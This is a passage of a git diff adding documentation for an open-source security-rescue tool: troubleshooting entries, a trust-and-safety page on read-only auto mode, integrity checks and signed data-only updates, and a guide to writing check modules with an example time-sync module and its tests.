delete `~/.rescue/sessions/.json`. + +## "WARNING: rescue's own installed files do not match the expected integrity manifest" + +The tool hashes its own `rescue/**/*.py` at launch and compares to the shipped +manifest. + +- **On a release install:** files changed after installation. Reinstall from a + source you trust. +- **In a development checkout:** you edited the code. Run + `python scripts/generate_integrity_manifest.py` and commit the result. + +It warns and continues; it never blocks. It also cannot detect tampering by +anything that could also rewrite the manifest. See +[Trust and safety](trust-and-safety.md#the-self-integrity-manifest). + +## `Update failed: trusted signer configuration contains placeholder or missing key material` + +Expected on the current release. The shipped `trusted_signers.json` holds +`REPLACE_WITH_…` placeholders, and the update engine refuses to operate against +placeholder key material — a correct fail-closed refusal, not a bug. Nothing was +fetched and nothing was applied. Update the tool the way you installed it. + +## `Refusing to apply -- not enough maintainer approvals yet` + +A content update exists but does not carry signed tags from two distinct +trusted, non-revoked signers. The tool exits `1` and keeps your current content. +That is the designed behaviour; wait for the approvals. If you deliberately +revoked a signer, `rescue trust list-revoked` shows who. + +## `rescue validate --strict` exits 1 + +Expected on the current tree. One warning remains — an aggregate reporting that +264 of 287 modules have no docstring — and `--strict` promotes warnings to +failures. Plain `rescue validate` exits `0` and prints `Catalog is consistent.` +See [Contributing](contributing.md#validating-the-catalog). + +## `--copilot` does nothing + +```text +--copilot requested but no AI provider is configured. +Set ANTHROPIC_API_KEY, OPENAI_API_KEY, or OLLAMA_HOST, then try again. +``` + +Set one of those variables. If you want a specific provider when several are +configured, set `RESCUE_AI_PROVIDER` to `anthropic`, `openai`, or `ollama`. For +a fully local setup, `RESCUE_AI_PROVIDER=ollama` defaults to +`http://localhost:11434`. If the provider SDK is not installed, run +`pip install ".[ai]"` **from your checkout**. + +The error each provider prints when its SDK is missing names the SDK itself +(`pip install anthropic`, `openai`, or `httpx`) and the source-checkout extra. +It deliberately does not name a PyPI package for this project, because there +isn't one — an error message that sends people to install +`multiverse-device-rescue` from PyPI would be telling them to install whatever +an unrelated party has uploaded under that name. + +An AI request that fails is reported as a warning and never affects the scan +results printed above it. + +## `pip install` fails with "externally-managed-environment" + +Your distribution's Python refuses installs into the system environment (PEP +668). Use a virtual environment: + +```console +$ git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git +$ cd multiverse-device-rescue +$ python3 -m venv .venv +$ .venv/bin/pip install . +$ .venv/bin/rescue scan +``` + +(There is no PyPI package to install — see the +[install instructions](quickstart.md#1-install).) + +## The scan takes a very long time + +A full desktop scan runs every module for your platform and some read +substantial state. To narrow it: + +```console +$ rescue --auto --profile home_for_the_holidays # a scenario's modules only +$ rescue run disk_space disk_smart_check # exactly what you want +``` + +Estimated per-module durations are in the [module catalog](modules.md). + +## Something else + +Open an issue with a redacted case attached: + +```console +$ rescue export +``` + +Send the `.md` file, after reading it — redaction removes credential-shaped +strings, emails, your username, home path, and hostname, but module output is +free text. Please do not attach `rescue scan --json`, which is not redacted. diff --git a/docs/trust-and-safety.md b/docs/trust-and-safety.md new file mode 100644 index 0000000..541b544 --- /dev/null +++ b/docs/trust-and-safety.md @@ -0,0 +1,421 @@ +# Trust and safety + +This page exists to answer one question: **can this thing hurt my computer, or +download something that will?** + +Every claim below names the file that implements it, so you can check rather +than believe. Where a guarantee is partial, it says so. A security tool that +overstates its own guarantees is teaching you the wrong habit. + +## The short version + +| Question | Answer | +| --- | --- | +| Does `rescue --auto` change my system? | No. Zero shipped modules opt in to unattended change. | +| Does it ever ask for a password, 2FA code, or recovery key? | No. There is no such prompt anywhere in the tool. | +| Does it send anything anywhere? | Only if you explicitly turn on the AI layer. Otherwise nothing leaves the machine. | +| Can an update push new Python code to my machine? | Not through the sanctioned path. Updates carry data files only, and content commits containing anything else are rejected. | +| Can I read what a check does before running it? | Yes. Every module is one plain Python file in the source tree. | +| Does it verify it has not been tampered with? | Yes, at every launch, with a SHA-256 manifest — but the check warns and continues rather than blocking. | + +## What it reads, and what it writes + +**Reads.** Local system state: process lists, disk and mount information, +network interfaces and the neighbour table, systemd units and cron entries and +launch agents, installed package lists, log and journal output, firewall and +SSH configuration, browser extension manifests, startup items, keychain +*metadata*. It does this by reading files and running standard system query +commands (`systemctl`, `ip`, `defaults`, `powershell`, `ufw`, and friends). + +**Never reads.** The tool has no code path that opens a password manager +vault, extracts keychain or Credential Manager *contents*, reads browser +history or page contents, or opens your documents and photos. The +`evidence_bundle` module prints this list explicitly when it runs, under +"Never collected, under any circumstances". + +**Writes.** Only these, and only when you ask: + +| Path | Written by | +| --- | --- | +| `~/.rescue/sessions/.json` | `rescue guide` recording your progress | +| `~/.rescue/cases/case-.{json,md}` | `rescue export` | +| `~/.config/rescue/revoked_signers.json` | `rescue trust revoke` | +| `~/.local/share/rescue/content/` | `rescue update`, after signature verification | + +Case files are written `0600` where the filesystem supports it, because even a +redacted case describes a machine's security posture and lands in a home +directory other local accounts may be able to read. + +## Auto mode is read-only + +This is the claim people most want proven, so here is the whole chain. + +**1. The default.** `rescue/module_base.py`: + +```python +class ModuleBase(ABC): + ... + # Opt-in to unattended mutation in auto mode. Default False keeps auto mode + # read-only: a module is only auto-applied once its fix() is known to be an + # idempotent, low-impact, reversible SAFE mutation and it sets this True. + auto_apply: bool = False +``` + +**2. The gate.** `rescue/orchestrator.py`, in `run_fixes`: + +```python +if mode == Mode.AUTO and ( + mod.risk_level != RiskLevel.SAFE + or not getattr(mod, "auto_apply", False) +): + # Auto mode is read-only unless a module has explicitly opted + # in to unattended, idempotent SAFE mutation via `auto_apply`. + continue +``` + +Both conditions must hold: `SAFE` **and** `auto_apply = True`. `SAFE` alone is +not enough, deliberately. + +**3. The count.** Verify it yourself: + +```console +$ grep -rn "auto_apply" modules/ | wc -l +0 +``` + +**Zero.** Not zero set to `True` — zero mentions of the attribute at all across +all 287 shipped modules, so every one of them inherits `False`. As long as that +number is zero, `rescue --auto` cannot change anything, and the summary line +reflects it: + +```text +Scanned 26 module(s), found 20 issue(s). Auto mode is read-only: made 0 system +change(s); 0 manual action(s) require you. +``` + +**4. The guardrail on the flag.** If a module ever does set `auto_apply = True` +at a non-`SAFE` risk level, `rescue validate` reports it as an **error** +(`rescue/validate.py`), and CI runs `rescue validate` on every pull request — +errors fail the build. + +**5. What is *not* covered.** `rescue run --yes` and answering `y` to a +confirmation prompt both call `fix()` regardless of `auto_apply`, and `fix()` +may mutate. That is the point of those flags. The read-only guarantee is about +*unattended* operation. + +### Guidance is not a change + +The data model separates the two, in `rescue/models.py`: + +```python +class ActionKind(str, Enum): + GUIDANCE = "guidance" + MUTATION = "mutation" +``` + +and a system change is only counted when a mutation actually executed and +succeeded: + +```python +@property +def executed_mutations(self) -> list[Action]: + return [ + a for a in self.actions + if a.kind == ActionKind.MUTATION and a.executed and a.success + ] +``` + +A module cannot make "here is what you should do" appear in a report as +something that was done, even by setting `executed`/`success` flags on a +guidance action. The case export applies the same rule +(`rescue/case.py`), so a report you hand to someone else cannot overstate what +happened either. + +## It never asks for your secrets + +There is no prompt in the tool for an account password, a one-time code, a +recovery code, a seed phrase, or a password-manager master password. The only +interactive prompts that exist are: + +- `Apply fixes for ?` (yes/no) +- `Apply this update?` (yes/no) +- the free-text conversation in `rescue recommend`, which is optional and only + runs when you have configured an AI provider + +Profiles state this explicitly. `digital_security_reset` ends its description +with: *"This tool never asks for an account password, a one-time code, or a +recovery code."* Account work — password changes, enabling 2FA, revoking +sessions — happens on each provider's own website, done by you, in the guide. + +Some system checks may cause **your operating system** to prompt for your +administrator password (macOS authorisation dialogs, `sudo`, Windows UAC). +That is the OS asking, on its own dialog, and the tool never sees or stores +what you type. If something claiming to be this tool asks you to *type a +password into it*, it is not this tool. + +## The self-integrity manifest + +`rescue/security/integrity.py` ships a SHA-256 manifest of the tool's own +installed Python files — 56 entries covering `rescue/**/*.py`, stored in +`rescue/security/integrity_manifest.json`. Every launch recomputes those hashes +and compares. + +```console +$ rescue update --check +WARNING: rescue's own installed files do not match the expected integrity manifest. + modified: cli.py +Consider reinstalling the tool. Continuing with existing files. +``` + +That is real output from a development checkout where `cli.py` changed after +the manifest was last regenerated. It detects modified, missing, and *added* +files, and it needs no network access and no trust in anything beyond the local +filesystem. + +**Be precise about what this is and is not.** + +- It is **advisory, not blocking**. `_run_startup_integrity_check` in + `rescue/cli.py` prints the warning and continues; the whole function is + wrapped in a bare `except Exception: pass`. It is a tripwire, not a lock. + Malware with write access to the install could equally rewrite the manifest. +- It covers the `rescue/` package's Python files **only**. Module data + (`modules/*/data/*.json`) + and guide content (`guides/**/*.md`) are deliberately excluded, because those + are exactly the files `rescue update` is designed to legitimately change — + hashing them would make every successful content update look like tampering. + Module *code* under `modules/` is likewise not covered by this manifest. +- It is **skipped inside a PyInstaller bundle**, where there are no loose `.py` + files on disk to hash. +- CI keeps it honest: the `integrity` job regenerates the manifest and fails + the build on any diff, because a stale manifest prints a tamper warning on + every launch and trains users to ignore the one signal that matters. + +## Signed content updates + +`rescue update` is the only command that brings anything onto your machine from +outside. Four separate properties constrain it. + +**1. Data only, never Python.** A content commit is rejected unless every path +in it passes `validate_content_paths` (`rescue/update/manifest.py`): + +- the first path segment must be `modules/`, `guides/`, or `profiles/` +- the extension must be one of `.json`, `.md`, `.toml`, `.txt`, `.yaml`, `.yml` +- anything under `guides/` must be `.md`; anything under `profiles/` must be + YAML +- absolute paths and `..` traversal are rejected outright + +A `.py` file cannot satisfy that list, so an approved update cannot deliver +executable code through the sanctioned path. + +**2. Two independent maintainer approvals.** `rescue/update/config.py` sets +`required_approvals = 2`. Approval means a maintainer has pushed a git tag, +signed with GPG or SSH, named `approved//` and +pointing at the exact commit. A commit is only accepted once **two distinct** +trusted, non-revoked signers have valid signatures on it. + +**3. Verification never trusts your local keyring.** +`rescue/update/verify.py` builds a throwaway `GNUPGHOME` and a scratch +`allowed_signers` file per call, populated *only* with the public keys shipped +in `rescue/security/trusted_signers.json`, and points `git verify-tag` at that. +Trust is decided by what the deployment ships, never by what happens to be +configured on your machine. It does no cryptography of its own — `git +verify-tag` does all of it — and any nonzero exit, unexpected output, or parse +failure is treated as "this tag does not count". Fail closed, always. + +**4. Placeholder keys are rejected.** `validate_trusted_signers` in +`rescue/security/signers.py` raises if any signer's ID, key ID, or public key +starts with `REPLACE_WITH_`, or if the public key is missing, or if there are +fewer signers than required approvals. The update engine runs that check on +construction. + +!!! warning "On the current release, `rescue update` cannot apply anything" + The shipped `trusted_signers.json` contains three placeholder entries with + `REPLACE_WITH_…` key material. Real key custody and rotation are a human + task the project has not completed (roadmap P0#3: *"real signer key + material, custody, rotation, revocation, threshold approvals, and the + release-signing procedure"*). The result today: + + ```console + $ rescue update --check + Update failed: trusted signer configuration contains placeholder or missing key material + Continuing with existing content. + ``` + + Exit code `1`, nothing fetched, nothing applied. The software guard works; + the keys behind it are not real yet. Until they are, treat the update + channel as closed and get new versions the way you got this one. + +**Revoking a signer locally.** If a maintainer's key is compromised, you do not +have to wait for a new threshold-approved commit: + +```console +$ rescue trust revoke maintainer-a --reason "key compromise announced 2026-08-01" +$ rescue trust list-revoked +maintainer-a +``` + +Revoking below the threshold means updates stop applying — which is the correct +failure. + +**Air-gapped updates.** `rescue update --sideload ` takes a local git +bundle instead of a network fetch and runs it through the identical +verification and apply pipeline. There is exactly one place signatures are +checked and exactly one place a checkout happens, regardless of transport. + +### An update you can back out of + +A safety property that matters as much as verification: **you can undo an +update without the network and without a working trust root.** Two commands, +neither of which fetches anything. + +`rescue update --rollback` returns to the content version applied before the +current one. Notably it **re-verifies approval on the older commit** rather +than trusting that it was approved when it was applied — because you may have +revoked a signer since, and revocation is meaningless if content that signer +approved stays trusted just by virtue of already being on the machine. If the +previous version no longer clears the threshold, it refuses and says so, rather +than quietly rolling forward or back. + +`rescue update --use-bundled` deactivates downloaded content entirely and +returns to what shipped inside the installed package. It removes the applied +marker that `runtime.active_content_root()` gates on; **nothing is deleted**, +so `rescue update` can reactivate content later. Crucially, it does *not* +construct an `UpdateEngine`, because doing so would validate the +trusted-signer configuration — and the machine whose trust config is broken is +precisely the one that most needs to get back to known-good content. It works +on this repository today, where the shipped signer keys are still placeholders. + +Together with the fetch/apply separation, that means no state a content update +can put your machine into is a state you cannot leave locally. + +## Nothing is sent anywhere unless you opt in + +There is no telemetry, no analytics, no crash reporting, and no update ping in +the tool. `rescue update` contacts a git remote when you run it, and the AI +layer contacts a provider when you enable it. That is the complete list of +outbound network activity initiated by the tool itself. (Individual checks read +local state; some, like a network speed test, use the network by their nature — +read the module if you care.) + +The AI layer requires **both** an environment variable to be set *and* an +explicit opt-in on the command line: `--copilot`, `rescue explain`, or +`rescue recommend`. Without a provider configured it prints "This feature +requires an AI provider" and stops. What is sent is one line per finding — +`[category/module] (severity) title: description` — and nothing else. See +[Privacy](privacy.md#what-the-ai-layer-sends) for the full payload. + +## Read the source of any check + +There is no plugin marketplace and no runtime code download. Every check is one +file: + +```console +$ ls modules/security/linux_firewall_check/ +__init__.py +$ less modules/security/linux_firewall_check/__init__.py +``` + +What you will find, in order: a docstring explaining what the check looks at +and why; a class body declaring `name`, `category`, `platforms`, `risk_level`, +`estimated_duration`, and `emits_codes`; a `check()` method that only reads; +and a `fix()` method that builds `Action` objects. Anything that runs an +external command goes through `rescue.command.run`, which enforces a timeout, +caps captured output, refuses shell strings, and never raises. Anything that +walks the filesystem goes through `rescue.fsbounds.bounded_walk`, which enforces +depth, file-count, byte, and deadline limits and does not follow symlinks by +default. + +The [module catalog](modules.md) lists all 287 with their platforms, risk +level, and duration. + +## Where the guarantees are partial + +Stated plainly, because you should know before you rely on them. + +!!! warning "Module discovery imports Python from your install directory" + `rescue/registry.py` loads every `modules/*/*/__init__.py` with + `importlib` and executes it in-process, at discovery time — before you + choose anything to run. That means anything with write access to your + `modules/` directory can execute code as you, and it means a scan's blast + radius is the whole tree, not just the module you picked. + + This is tracked as roadmap **P0#10** ("Discovery executes arbitrary + Python"), and the fix — running modules in an isolated process — is a + Phase-4 architecture change that has not been done. Until then: install + from a source you trust, keep the install directory writable only by you, + and read modules you have reason to doubt. + +!!! warning "`load_content_module` resolves a `.py` helper through the content path" + A few network and cryptojacking modules share a helper + (`modules/network/lan_common/neighbors.py`) loaded by path via + `rescue.runtime.load_content_module`, which resolves through `content_file` + — and `content_file` prefers an applied content checkout over the bundled + tree. The sanctioned update path cannot put a `.py` file there, because + `validate_content_paths` rejects it before checkout. But if something wrote + directly into `~/.local/share/rescue/content/`, bypassing `rescue update` + entirely, that helper would be loaded from there. Treat that directory with + the same care as the install directory. + +!!! warning "Not every module uses the bounded runner yet" + `rescue/command.py` and `rescue/fsbounds.py` exist because modules + historically called `subprocess.run` directly, often with no timeout. + Migrating every remaining call site is an in-progress mechanical follow-up + (roadmap P0#7). The orchestrator's per-module 60-second timeout bounds the + *session* regardless — but note the comment in `rescue/orchestrator.py`: + Python cannot forcibly kill a thread blocked in a syscall, so a timed-out + check is *abandoned* on a daemon thread, not killed. + +!!! warning "`rescue explain` bypasses the orchestrator" + It calls `mod.check(profile)` directly in a loop, so the per-module timeout + does not apply to it. `scan`, `--auto`, and `export` all go through the + orchestrator and are bounded. + +!!! warning "Detection is indicators, not proof" + Findings are observations. An inventory finding exists so *you* can spot + the entry you do not recognise — that is the detection mechanism for + anything novel, and it depends on you reading it. Nothing here replaces + professional incident response for a real, active compromise. + +## Verifying what you installed + +!!! danger "There is no official package or binary to download" + This project is **not published on PyPI**, and nothing in CI builds or + publishes a release artifact. The only supported way to get it is a git + checkout of + . + + That means: a PyPI package named `multiverse-device-rescue` is **not this + project** and should not be installed; and an installer or binary someone + hands you was built by that person, not published by this project. The + repository does contain packaging scripts (`scripts/build-macos-app.sh`, + `scripts/build-windows.bat`) so a maintainer — or you — can build a desktop + app locally, but a build is only as trustworthy as whoever ran it. + +1. **Install from source you can read.** `git clone`, then `pip install .`. You + can `git log`, `git diff`, and inspect every module before anything runs. +2. **Check the integrity manifest after install.** Launch any command (e.g. + `rescue version`) and confirm no `WARNING: rescue's own installed files do + not match…` appears. That compares your installed `rescue/**/*.py` against + the shipped hashes. +3. **Regenerate and compare, if you want to be sure the manifest matches the + source you read:** + + ```console + $ python scripts/generate_integrity_manifest.py + $ git diff --exit-code -- rescue/security/integrity_manifest.json + ``` + + No diff means the committed manifest describes exactly the source in your + tree. This is the same check CI runs. +4. **Validate the catalog.** `rescue validate` confirms module names are + unique, dependencies resolve without cycles, no module claims unattended + mutation at a dangerous risk level, and every profile and guide reference + resolves. It executes no module's `check()`. +5. **Confirm auto mode is read-only on your copy:** + + ```console + $ grep -rn "auto_apply" modules/ | wc -l + 0 + ``` +6. **Run one module at a time first.** `rescue run ` and answer `N` at + the prompt. You lose nothing by looking before you leap. diff --git a/docs/writing-a-module.md b/docs/writing-a-module.md new file mode 100644 index 0000000..558a4f8 --- /dev/null +++ b/docs/writing-a-module.md @@ -0,0 +1,512 @@ +# Writing a module + +A module is one self-contained check. This page is the contract it has to +satisfy. Read [Architecture](architecture.md) first if you have not — it +explains where a module sits in a scan. + +## The contract in one screen + +Create `modules///__init__.py` defining a class named +exactly `Module` that subclasses `ModuleBase`. That is the whole registration +mechanism: there is no plugin manifest, no entry point, no registry file to +edit. + +```python +class Module(ModuleBase): + name: str # unique across the whole tree; matches the directory + category: str # must match the parent directory name + platforms: list[Platform] # [Platform.DARWIN, Platform.WIN32, Platform.LINUX] + risk_level: RiskLevel # SAFE | MODERATE | DESTRUCTIVE — describes fix(), not check() + priority: int = 50 # 0-100; higher runs earlier within the same dependency level + depends_on: list[str] = [] # module names that must run first + emits_codes: list[str] = [] # every finding code check() can attach + estimated_duration: str = "unknown" # free text: "5s", "2m" + auto_apply: bool = False # opt in to unattended mutation. Leave it False. + + def check(self, profile: SystemProfile) -> CheckResult: ... + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: ... + def configure(self, config: dict) -> None: ... # optional; default no-op +``` + +Both `check()` and `fix()` are abstract — you must implement both, even if +`fix()` only returns guidance. + +### The attributes, in detail + +**`name`** — unique across all 287 modules. `rescue validate` reports a +duplicate as an error, because two modules answering to one name means +profiles, the threat map, and `rescue run` all silently pick whichever loaded +last. By convention it matches the directory name, and Windows-only modules are +prefixed `win_`, Linux-only ones `linux_`. + +**`category`** — one of `security`, `integrity`, `performance`, `network`, +`bloatware`, matching the parent directory. + +**`platforms`** — the coarse gate. A module not listing the running platform is +dropped before the scan starts. Declaring none at all is a validation error: +the module could never be selected. + +**`risk_level`** — describes what `fix()` might do. `check()` is always +read-only, on every module, without exception. `SAFE` means low-impact and +reversible; `MODERATE` and `DESTRUCTIVE` require explicit confirmation and can +never be auto-applied. + +**`priority`** — must be an integer in 0–100 or validation fails. + +**`depends_on`** — module names, resolved by `topological_sort`. Every name +must exist and the graph must be acyclic; both are validation errors. + +**`estimated_duration`** — free text. Leaving it `"unknown"` is a validation +*warning*, because a scan cannot show progress honestly without it. + +**`auto_apply`** — leave it `False`. Setting it `True` opts your module into +running `fix()` unattended during `rescue --auto`, and it is only defensible +for an idempotent, low-impact, reversible `SAFE` mutation. Setting it on a +non-`SAFE` module is a validation **error**. Today no shipped module sets it, +which is what makes auto mode read-only — do not be the first without a +discussion. + +**A file-level docstring** — required in practice. `rescue validate` warns +about a module with no docstring on either the class or the containing module, +and the [module catalog](modules.md) uses its first line as the module's +one-line description. Write the first line as a complete, plain sentence. + +## `emits_codes` and finding codes + +A finding code is the join key between a finding and its remediation +walkthrough. The scheme is `..`: + +```python +emits_codes = [ + "security.linux_firewall_check.no_firewall", + "security.linux_firewall_check.firewall_inactive", + "security.linux_firewall_check.default_allow_inbound", + "security.linux_firewall_check.undetermined", +] +``` + +Declare **every** code `check()` can attach to a `Finding`. `emits_codes` is +what [the remediation catalog](REMEDIATION_CATALOG.md) and +[the threat map](THREAT_REMEDIATION.md) are generated from, and what +`rescue validate` uses to detect walkthroughs that nothing can ever reach. + +A purely informational finding may carry `code=None`. + +## Platform gating: `supported` and `unsupported_reason` + +`platforms` is the coarse gate. Inside `check()`, guard again and return a +result that says *why* it could not run: + +```python +if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads Linux firewall front-ends (ufw, firewalld, " + f"nftables, iptables); this host reports {profile.platform.value}." + ), + ) +``` + +Use the same pattern for a missing command, an unreadable path, or a permission +denial. + +!!! danger "Never return an empty healthy result for something you could not check" + `CheckResult(module_name=self.name)` means "I ran and found nothing wrong". + An unreadable firewall ruleset is **not** that. From + `linux_firewall_check`'s docstring: + + > It is deliberately conservative about claiming a machine is unprotected. + > An unreadable ruleset (no privileges) is reported as "could not + > determine", not as "no firewall": a rescue tool that tells someone their + > firewall is off when it is merely unreadable teaches them to distrust the + > tool. + + Three honest outcomes exist and they are all better than a false clean + bill of health: `supported=False` with a reason, `error=...`, or an + explicit `undetermined` finding. + +## Running commands: use `rescue.command.run` + +Never call `subprocess` directly. Use the bounded runner: + +```python +from rescue.command import run + +result = run(["ufw", "status", "verbose"], timeout=10.0) +if result.ok: + parse(result.stdout) +``` + +`run()` gives you, in one place: a mandatory timeout (default 20 s); a cap on +captured output (default 5 MiB, streamed, with the child terminated on +overflow so peak memory stays bounded); a `TypeError` if you pass a string +instead of a token list, so you cannot accidentally invoke a shell; and a +structured `CommandResult` — it **never raises** for command failure, timeout, +or a missing executable. + +```python +@dataclass +class CommandResult: + args: list[str] + returncode: int | None # None if it timed out or could not launch + stdout: str + stderr: str + timed_out: bool + error: str | None + duration_s: float + truncated: bool + + @property + def ok(self) -> bool: ... # returncode == 0, not timed out, no error +``` + +A missing executable is `error="[Errno 2] No such file or directory"` with +`returncode=None` — which is usually the signal to report `supported=False` +rather than to report a problem. + +## Walking the filesystem: use `rescue.fsbounds` + +Never write an unbounded `rglob`. Use `bounded_walk`: + +```python +from rescue.fsbounds import WalkLimits, bounded_walk, is_dir_nofollow + +for path in bounded_walk( + roots, + WalkLimits(max_depth=4, max_files=2000, deadline_s=10.0, follow_symlinks=False), +): + inspect(path) +``` + +`WalkLimits` bounds depth (measured per root), file count, total bytes, and +wall-clock time, and does not follow symlinks by default. Missing or unreadable +roots are skipped rather than raising. `is_file_nofollow` and `is_dir_nofollow` +give you no-follow stat checks that work on Python 3.11 (where +`Path.is_file(follow_symlinks=False)` does not exist). + +## Testability: traversal roots as class attributes + +A module that hardcodes `/etc/systemd/system` can only be tested against the +machine running the suite. Declare paths as class attributes so a test can +repoint them at a fixture tree. This is the convention, from +`linux_persistence_audit`: + +```python +class Module(ModuleBase): + ... + # Traversal roots as class attributes so tests point them at a fixture tree + # rather than at the machine running the suite. Absolute paths are used as + # given; paths starting with "~" are expanded per user. + system_unit_dirs: list[str] = ["/etc/systemd/system", "/usr/local/lib/systemd/system"] + user_unit_dirs: list[str] = ["~/.config/systemd/user"] + autostart_dirs: list[str] = ["~/.config/autostart", "/etc/xdg/autostart"] + shell_rc_files: list[str] = ["~/.bashrc", "~/.zshrc"] + max_files: int = 2000 +``` + +Apply the same idea to limits and thresholds. It makes them configurable from a +profile's `module_config` for free. + +## Guidance versus mutation + +`fix()` returns `Action` objects, and the `kind` you choose is a factual claim +about what happened. + +```python +Action( + title="Enable the firewall", + description="Run `sudo ufw enable`, then confirm with `sudo ufw status`.", + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, # nothing was done to the machine +) +``` + +The rules: + +1. **Default to guidance.** Most of what matters in a rescue happens at a + provider or in a system settings pane, not on disk. Telling someone + precisely what to do is a complete, honest answer. +2. **A `MUTATION` must have actually run.** Set `executed=True` and + `success=True/False` from the real outcome, and put the error text in + `error` when it fails. Only `executed and success` mutations count as + system changes. +3. **Never mark guidance as executed to make a report look better.** It will + not work — `FixResult.executed_mutations` filters on `kind` first, and the + case export re-derives `changed_the_system` the same way. +4. **Record how to undo it.** Put a rollback instruction in + `action.data["rollback"]` and a verification step in + `action.data["verification"]`. The case export surfaces both. +5. **Respect `mode`.** `Mode.AUTO` means unattended — a module reached in auto + mode has already passed the `auto_apply` gate, but if you are unsure, return + guidance. `Mode.MANUAL` means a human said yes at a prompt. `Mode.CLI` means + `--yes` was passed. +6. **Match `risk_level` to reality.** A module whose `fix()` deletes files is + `DESTRUCTIVE`, not `SAFE`, whatever the deletion is for. + +## A complete example module + +`modules/integrity/example_check/__init__.py`: + +```python +"""Is this machine's clock being kept correct by something? + +A drifted clock breaks HTTPS certificate validation, time-based one-time +passwords, and scheduled jobs — and it does it in ways that look like a network +fault, so people chase the wrong problem for hours. This check asks whether any +time-synchronisation service is running, and reports "could not determine" +rather than "nothing is running" when it cannot tell. +""" + +from rescue.command import run +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_TIMEOUT = 5.0 + + +class Module(ModuleBase): + name = "example_check" + category = "integrity" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 40 + depends_on = [] + estimated_duration = "5s" + + emits_codes = [ + "integrity.example_check.no_time_sync", + ] + + # Class attributes, so a test can substitute its own list. + services: list[str] = ["systemd-timesyncd", "chronyd", "ntpd"] + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads systemd service state; this host reports " + f"{profile.platform.value}." + ), + ) + + active = [] + readable = False + for service in self.services: + result = run(["systemctl", "is-active", service], timeout=_TIMEOUT) + if result.error is not None or result.timed_out: + # systemctl is missing or hung: we learned nothing about this + # service. Do not let that read as "not running". + continue + readable = True + if result.stdout.strip() == "active": + active.append(service) + + if not readable: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "systemctl could not be run, so service state is unknown on " + "this machine." + ), + ) + + if active: + return CheckResult(module_name=self.name) + + return CheckResult( + module_name=self.name, + findings=[ + Finding( + title="No time-synchronisation service appears to be running", + description=( + "Nothing is keeping this machine's clock correct. Checked " + f"for: {', '.join(self.services)}." + ), + severity=Severity.WARNING, + category=self.category, + code="integrity.example_check.no_time_sync", + confidence=0.9, + ) + ], + ) + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions = [ + Action( + title="Enable a time-synchronisation service", + description=( + "Run `sudo systemctl enable --now systemd-timesyncd`, then " + "confirm with `timedatectl status` that 'System clock " + "synchronized' reads yes." + ), + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={ + "rollback": "sudo systemctl disable --now systemd-timesyncd", + "verification": "timedatectl status", + }, + ) + ] + return FixResult(module_name=self.name, actions=actions) +``` + +## The matching test + +`tests/test_module_example_check.py`: + +```python +"""Tests for example_check. + +The behaviour worth protecting is the distinction between "nothing is running" +and "I could not tell". Conflating them produces a confident wrong answer. +""" + +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.command import CommandResult +from rescue.models import CheckStatus, Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "example_check") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Ubuntu 24.04", + os_version="6.8.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=4, + ram_bytes=8 * 1024**3, + ) + + +def _result(args, stdout="", returncode=0, error=None) -> CommandResult: + return CommandResult( + args=list(args), + returncode=returncode, + stdout=stdout, + stderr="", + timed_out=False, + error=error, + duration_s=0.01, + truncated=False, + ) + + +def _patched(mod, responses): + """Patch the module's own `run`, dispatching on the service name. + + Modules are loaded by path under a synthetic ``rescue_modules.*`` name that + is not an importable package, so ``patch("rescue_modules.x.run")`` cannot + resolve it. Patching the loaded module object directly does. + """ + import sys as _sys + + loaded = _sys.modules[type(mod).__module__] + original = loaded.run + + def fake(args, **kwargs): + return responses.get(args[-1], _result(args, stdout="inactive")) + + loaded.run = fake + return original, loaded + + +def test_active_service_is_healthy(): + mod = _get_module() + original, loaded = _patched( + mod, {"chronyd": _result(["systemctl"], stdout="active\n")} + ) + try: + check = mod.check(_profile()) + finally: + loaded.run = original + assert check.status is CheckStatus.HEALTHY + + +def test_nothing_running_is_a_warning_with_a_code(): + mod = _get_module() + original, loaded = _patched(mod, {}) + try: + check = mod.check(_profile()) + finally: + loaded.run = original + assert check.status is CheckStatus.ISSUES + assert check.findings[0].severity is Severity.WARNING + assert check.findings[0].code == "integrity.example_check.no_time_sync" + assert check.findings[0].code in mod.emits_codes + + +def test_missing_systemctl_is_unsupported_not_healthy(): + """The whole point: 'I could not look' must never read as 'all clear'.""" + mod = _get_module() + original, loaded = _patched(mod, {}) + loaded.run = lambda args, **kw: _result( + args, returncode=None, error="No such file or directory" + ) + try: + check = mod.check(_profile()) + finally: + loaded.run = original + assert check.status is CheckStatus.UNSUPPORTED + assert check.unsupported_reason + + +def test_wrong_platform_is_unsupported(): + mod = _get_module() + check = mod.check(_profile(platform=Platform.DARWIN)) + assert check.status is CheckStatus.UNSUPPORTED + + +def test_fix_is_guidance_only_and_changes_nothing(): + mod = _get_module() + fix = mod.fix(mod.check(_profile()), Mode.MANUAL) + assert fix.executed_mutations == [] + assert len(fix.guidance_actions) == 1 + + +def test_module_does_not_opt_in_to_unattended_mutation(): + assert getattr(_get_module(), "auto_apply", False) is False +``` + +That last test is a convention worth copying — several shipped module tests +assert it, so auto mode staying read-only is protected by the suite and not +just by a habit. + +## Before you open a pull request + +```console +$ python -m pytest tests/test_module_example_check.py -q +$ rescue validate # 0 errors; check your module adds no warnings +$ rescue run example_check # see the real output on a real machine +$ python scripts/generate_module_catalog.py # the catalog page is generated +$ python scripts/generate_integrity_manifest.py # only if you touched rescue/ +``` + +The last two produce files that must be committed 